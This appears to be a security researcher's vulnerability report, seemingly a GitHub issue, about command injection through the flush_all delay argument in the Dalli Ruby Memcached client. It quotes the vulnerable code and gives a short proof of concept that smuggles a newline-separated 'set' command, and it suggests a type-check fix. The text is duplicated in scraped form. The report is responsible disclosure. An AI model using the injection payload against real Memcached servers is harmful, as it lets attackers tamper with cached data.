Hi there,
I'm a security researcher currently doing research on Memcached wrappers vulnerabilities. I was doing some source code reviewing on your wrapper and noticed that the flush_all method on the meta protocol takes a delay value and passes it to the server without any checks, which can be used to smuggle commands to the Memcached server if an attacker has control over the value passed to the flush_all method.
|
def flush(delay = 0) |
|
write(RequestFormatter.flush(delay: delay)) |
|
response_processor.flush unless quiet? |
|
end |
|
def self.flush(delay: nil, quiet: false) |
|
cmd = +'flush_all' |
|
cmd << " #{delay}" if delay |
|
cmd << ' noreply' if quiet |
|
cmd + TERMINATOR |
|
end |
Proof of Concept
require 'dalli'
# Proof of Concept by @xhzeem
$mcmeta = Dalli::Client.new('localhost:11211', protocol: :meta)
$mcmeta.set('xhzeem','meta')
$mcmeta.get("xhzeem") # b64_if_reg_match(\s)
puts $mcmeta.flush_all("\nset xhzeem 1 1000 8\ninjected") # :D
Suggested Fix:
You should just add a simple check for the delay type and confirm it's a number or keep the 0 value.
Hi there,
I'm a security researcher currently doing research on Memcached wrappers vulnerabilities. I was doing some source code reviewing on your wrapper and noticed that the
flush_allmethod on the meta protocol takes a delay value and passes it to the server without any checks, which can be used to smuggle commands to the Memcached server if an attacker has control over the value passed to the flush_all method.dalli/lib/dalli/protocol/meta.rb
Lines 137 to 140 in 5588d98
dalli/lib/dalli/protocol/meta/request_formatter.rb
Lines 76 to 81 in 5588d98
Proof of Concept
Suggested Fix:
You should just add a simple check for the
delaytype and confirm it's a number or keep the 0 value.